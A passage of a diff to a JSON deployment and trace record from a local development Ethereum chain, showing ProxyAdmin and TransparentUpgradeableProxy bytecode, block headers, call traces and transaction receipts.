"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033", + "r": "0xf529bd4574ee32d87f5ab3a39890655f69fa18d58274d1bd433b35f7afab0675", + "s": "0x2ac4795bf6ca8693061e513e04a7ee9aa09e6666fc7b36f5eb36b261c6267fe2", + "yParity": "0x0", + "hash": "0xb67040237c5a060f35e1affe287ced14f9f791b93c70181084de7ef18010989e" } }, "impersonated_sender": null } ], "ommers": [] - } - ], - "transactions": [ + }, { - "info": { - "transaction_hash": "0x270f5665c89b4abca1028c602097170fb3da69543a0a0d50d7b432b3900a04b6", - "transaction_index": 2, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "traces": [ - { - "parent": null, - "children": [], - "idx": 0, - "trace": { - "depth": 0, - "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "maybe_precompile": false, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CREATE", - "value": "0x0", - "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "gas_used": 465106, - "gas_limit": 636783, - "status": "Return", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [ - { - "raw_log": { - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" - ], - "data": "0x" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - } - ], - "ordering": [ - { - "Log": 0 - }, - { - "Log": 1 - } - ] - } - ], - "exit": "Return", - "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "nonce": 3, - "gas_used": 573230 + "header": { + "parentHash": "0x5af8187dff430ad95e64c0a5f3968ada74e4a0275d643c815c76c540dd0de8d6", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0xc80fa30de002bbee808ead55c021919c98a9497f2edbba51904d1e35209bcaa2", + "transactionsRoot": "0x085427f2532513453e65179cd41908cf2d6a4f7312b79a2fcde37b89e17bfff8", + "receiptsRoot": "0x8c5ffb5efb354019a1196dd91b8095d79cee0d67d1315b7cbd40e87034f93673", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000400000000000000000000000000000000400000002000001000000000010000000000000000000000000020000000000000100800808000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000008000000000000000000100020400000200000000000040000000000002028000000000000000020000000000000000000000000000000000000000001080000000100000000400000", + "difficulty": "0x0", + "number": "0x11", + "gasLimit": "0x1c9c380", + "gasUsed": "0x28355", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x935ebc2", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0xf1dfd", - "logs": [ - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" - ], - "data": "0x" - }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - } - ], - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000080000400000000000000000000000000001000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - }, - "block_hash": "0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059", - "block_number": 2 - }, - { - "info": { - "transaction_hash": "0xb6a38a3d8da1705b9b28d965f44c38bad15f54d84fdaf02eac16b102176b150c", - "transaction_index": 0, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "contract_address": null, - "traces": [ - { - "parent": null, - "children": [ - 1 - ], - "idx": 0, - "trace": { - "depth": 0, - "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CALL", - "value": "0x0", - "data": "0x9623609d000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 142336, - "gas_limit": 205678, - "status": "Stop", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [], - "ordering": [ - { - "Call": 0 - } - ] - }, - { - "parent": 0, - "children": [ - 2 - ], - "idx": 1, - "trace": { - "depth": 1, - "success": true, - "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CALL", - "value": "0x0", - "data": "0x4f1ef286000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 135625, - "gas_limit": 195906, - "status": "Stop", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [ - { - "raw_log": { - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0" - ], - "data": "0x" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - } - ], - "ordering": [ - { - "Log": 0 - }, - { - "Call": 0 - } - ] - }, - { - "parent": 1, - "children": [], - "idx": 2, - "trace": { - "depth": 2, - "success": true, - "caller": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "DELEGATECALL", + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x14", + "gas": "0x37899", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", - "data": "0x22bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 122355, - "gas_limit": 179999, - "status": "Stop", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [ - { - "raw_log": { - "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - ], - "data": "0x" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - } - ], - "ordering": [ - { - "Log": 0 - }, - { - "Log": 1 - }, - { - "Log": 2 - }, - { - "Log": 3 - }, - { - "Log": 4 - } - ] - } - ], - "exit": "Stop", - "out": "0x", - "nonce": 19, - "gas_used": 166144 - }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0x28900", - "logs": [ - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0" - ], - "data": "0x" - }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" - }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" - }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - 